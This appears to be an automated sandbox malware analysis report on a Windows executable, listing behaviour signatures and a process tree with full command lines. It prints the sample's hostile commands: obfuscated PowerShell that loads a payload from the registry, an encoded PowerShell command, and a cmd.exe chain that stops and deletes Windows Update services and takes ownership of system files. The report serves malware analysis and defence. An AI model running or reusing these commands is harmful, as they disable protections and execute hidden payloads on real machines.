6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915

Analysis

max time kernel
151s
max time network
62s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
15-11-2022 10:22

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General

Target

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
Size

2.7MB
MD5

cff0e1b4af4ef5a2d4cb78ea5d403d58
SHA1

5224506ce265475452aeddf540f5f9b996f84bd6
SHA256

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915
SHA512

55cfed7b7a95c71afd8191116f03829b8c51661cf1de035652e08b8ae4b8003f569ca6e198748167e626d17edb7012fe535aa08e8af2e09d2440880088fa2c40
SSDEEP

49152:YX9bvpxA+I4AY+a7xIrLlxJq5ZjoVrY4u0uXh/DP+P:2DnNExInjojwRK

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 1992 created 420 1992 powershell.EXE winlogon.exe
PID 1988 created 420 1988 powershell.EXE winlogon.exe

description	pid	process	target process
PID 1992 created 420	1992	powershell.EXE	winlogon.exe
PID 1988 created 420	1988	powershell.EXE	winlogon.exe

Drops file in Drivers directory 2 IoCs

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exeupdater.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	updater.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1144 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

672 takeown.exe
832 icacls.exe
1360 takeown.exe
1988 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1772 cmd.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1052 taskeng.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

672 takeown.exe
832 icacls.exe
1360 takeown.exe
1988 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 ip-api.com

pid	process
1144	updater.exe

pid	process
672	takeown.exe
832	icacls.exe
1360	takeown.exe
1988	icacls.exe

pid	process
1772	cmd.exe

pid	process
1052	taskeng.exe

pid	process
672	takeown.exe
832	icacls.exe
1360	takeown.exe
1988	icacls.exe

flow	ioc
3	ip-api.com

Drops file in System32 directory 4 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEpowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exepowershell.EXEpowershell.EXE

description	pid	process	target process
PID 1684 set thread context of 1136	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	conhost.exe
PID 1992 set thread context of 1500	1992	powershell.EXE	dllhost.exe
PID 1988 set thread context of 524	1988	powershell.EXE	dllhost.exe

Drops file in Program Files directory 3 IoCs

Processes:

updater.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Chrome\updater.exe	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

Drops file in Windows directory 6 IoCs

Processes:

svchost.execonhost.exe

description	ioc	process
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	svchost.exe
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1804 sc.exe
552 sc.exe
1408 sc.exe
1296 sc.exe
972 sc.exe
1632 sc.exe
1964 sc.exe
1544 sc.exe
1992 sc.exe
1720 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1640 schtasks.exe

pid	process
1804	sc.exe
552	sc.exe
1408	sc.exe
1296	sc.exe
972	sc.exe
1632	sc.exe
1964	sc.exe
1544	sc.exe
1992	sc.exe
1720	sc.exe

pid	process
1640	schtasks.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

updater.exepowershell.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	updater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	updater.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40248496e4f8d801	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	updater.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
1108	reg.exe
1908	reg.exe
1612	reg.exe
1376	reg.exe
1208	reg.exe
1504	reg.exe
1132	reg.exe
1976	reg.exe
1304	reg.exe
1492	reg.exe
1156	reg.exe
1216	reg.exe
1968	reg.exe
684	reg.exe
2012	reg.exe
1536	reg.exe
1836	reg.exe
1360	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exepowershell.exeupdater.exe

pid	process
1356	powershell.exe
1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
1992	powershell.EXE
1988	powershell.EXE
1992	powershell.EXE
1500	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
1988	powershell.EXE
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1136	powershell.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
524	dllhost.exe
524	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
1144	updater.exe
524	dllhost.exe
524	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exetakeown.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exepowershell.exeupdater.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeShutdownPrivilege	1476	powercfg.exe
Token: SeShutdownPrivilege	872	powercfg.exe
Token: SeShutdownPrivilege	752	powercfg.exe
Token: SeShutdownPrivilege	832	powercfg.exe
Token: SeDebugPrivilege	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe
Token: SeTakeOwnershipPrivilege	1360	takeown.exe
Token: SeDebugPrivilege	1992	powershell.EXE
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeDebugPrivilege	1992	powershell.EXE
Token: SeDebugPrivilege	1500	dllhost.exe
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeDebugPrivilege	524	dllhost.exe
Token: SeAuditPrivilege	876	svchost.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	1144	updater.exe
Token: SeShutdownPrivilege	2000	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	876	svchost.exe
Token: SeIncreaseQuotaPrivilege	876	svchost.exe
Token: SeSecurityPrivilege	876	svchost.exe
Token: SeTakeOwnershipPrivilege	876	svchost.exe
Token: SeLoadDriverPrivilege	876	svchost.exe
Token: SeSystemtimePrivilege	876	svchost.exe
Token: SeBackupPrivilege	876	svchost.exe
Token: SeRestorePrivilege	876	svchost.exe
Token: SeShutdownPrivilege	876	svchost.exe
Token: SeSystemEnvironmentPrivilege	876	svchost.exe
Token: SeUndockPrivilege	876	svchost.exe
Token: SeManageVolumePrivilege	876	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	876	svchost.exe
Token: SeIncreaseQuotaPrivilege	876	svchost.exe
Token: SeSecurityPrivilege	876	svchost.exe
Token: SeTakeOwnershipPrivilege	876	svchost.exe
Token: SeLoadDriverPrivilege	876	svchost.exe
Token: SeSystemtimePrivilege	876	svchost.exe
Token: SeBackupPrivilege	876	svchost.exe
Token: SeRestorePrivilege	876	svchost.exe
Token: SeShutdownPrivilege	876	svchost.exe
Token: SeSystemEnvironmentPrivilege	876	svchost.exe
Token: SeUndockPrivilege	876	svchost.exe
Token: SeManageVolumePrivilege	876	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	876	svchost.exe
Token: SeIncreaseQuotaPrivilege	876	svchost.exe
Token: SeSecurityPrivilege	876	svchost.exe
Token: SeTakeOwnershipPrivilege	876	svchost.exe
Token: SeLoadDriverPrivilege	876	svchost.exe
Token: SeSystemtimePrivilege	876	svchost.exe
Token: SeBackupPrivilege	876	svchost.exe
Token: SeRestorePrivilege	876	svchost.exe
Token: SeShutdownPrivilege	876	svchost.exe
Token: SeSystemEnvironmentPrivilege	876	svchost.exe
Token: SeUndockPrivilege	876	svchost.exe
Token: SeManageVolumePrivilege	876	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	876	svchost.exe
Token: SeIncreaseQuotaPrivilege	876	svchost.exe
Token: SeSecurityPrivilege	876	svchost.exe
Token: SeTakeOwnershipPrivilege	876	svchost.exe
Token: SeLoadDriverPrivilege	876	svchost.exe
Token: SeSystemtimePrivilege	876	svchost.exe
Token: SeBackupPrivilege	876	svchost.exe
Token: SeRestorePrivilege	876	svchost.exe
Token: SeShutdownPrivilege	876	svchost.exe
Token: SeSystemEnvironmentPrivilege	876	svchost.exe
Token: SeUndockPrivilege	876	svchost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

svchost.exe

pid process

876 svchost.exe

pid	process
876	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.execmd.execmd.exe

description	pid	process	target process
PID 1684 wrote to memory of 1356	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	powershell.exe
PID 1684 wrote to memory of 1356	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	powershell.exe
PID 1684 wrote to memory of 1356	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	powershell.exe
PID 1684 wrote to memory of 1500	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 1684 wrote to memory of 1500	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 1684 wrote to memory of 1500	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 1684 wrote to memory of 1692	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 1684 wrote to memory of 1692	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 1684 wrote to memory of 1692	1684	6819bca79d5d9598839e9dcfa1a12feb607e4d269a52b016949a9996c2598915.exe	cmd.exe
PID 1500 wrote to memory of 1804	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1804	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1804	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1632	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1632	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1632	1500	cmd.exe	sc.exe
PID 1692 wrote to memory of 1476	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 1476	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 1476	1692	cmd.exe	powercfg.exe
PID 1500 wrote to memory of 552	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 552	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 552	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1408	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1408	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1408	1500	cmd.exe	sc.exe
PID 1692 wrote to memory of 872	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 872	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 872	1692	cmd.exe	powercfg.exe
PID 1500 wrote to memory of 1964	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1964	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 1964	1500	cmd.exe	sc.exe
PID 1500 wrote to memory of 2012	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 2012	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 2012	1500	cmd.exe	reg.exe
PID 1692 wrote to memory of 752	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 752	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 752	1692	cmd.exe	powercfg.exe
PID 1500 wrote to memory of 1304	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1304	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1304	1500	cmd.exe	reg.exe
PID 1692 wrote to memory of 832	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 832	1692	cmd.exe	powercfg.exe
PID 1692 wrote to memory of 832	1692	cmd.exe	powercfg.exe
PID 1500 wrote to memory of 1536	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1536	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1536	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1208	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1208	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1208	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1504	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1504	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1504	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1360	1500	cmd.exe	takeown.exe
PID 1500 wrote to memory of 1360	1500	cmd.exe	takeown.exe
PID 1500 wrote to memory of 1360	1500	cmd.exe	takeown.exe
PID 1500 wrote to memory of 1988	1500	cmd.exe	icacls.exe
PID 1500 wrote to memory of 1988	1500	cmd.exe	icacls.exe
PID 1500 wrote to memory of 1988	1500	cmd.exe	icacls.exe
PID 1500 wrote to memory of 1968	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1968	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1968	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 684	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 684	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 684	1500	cmd.exe	reg.exe
PID 1500 wrote to memory of 1492	1500	cmd.exe	reg.exe

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:476

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
2⤵
PID:852

C:\Windows\system32\taskhost.exe
"taskhost.exe"
2⤵
PID:1256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
2⤵
PID:800

C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
2⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
2⤵
PID:1040

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
2⤵
PID:308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
2⤵
PID:328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
2⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:876

C:\Windows\system32\taskeng.exe
taskeng.exe {0E5DA892-BA2E-4DF2-BAA8-53FB791F3A01} S-1-5-18:NT AUTHORITY\System:Service:
3⤵
- Loads dropped DLL
PID:1052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAYgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAdwBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAbgAjAD4A"
5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:1180

C:\Windows\system32\sc.exe
sc stop UsoSvc
6⤵
- Launches sc.exe
PID:1296

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
6⤵
- Launches sc.exe
PID:1544

C:\Windows\system32\sc.exe
sc stop wuauserv
6⤵
- Launches sc.exe
PID:1992

C:\Windows\system32\sc.exe
sc stop bits
6⤵
- Launches sc.exe
PID:1720

C:\Windows\system32\sc.exe
sc stop dosvc
6⤵
- Launches sc.exe
PID:972

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
6⤵
- Modifies registry key
PID:1976

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
6⤵
- Modifies registry key
PID:1156

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
6⤵
- Modifies registry key
PID:1108

C:\Windows\system32\reg.exe
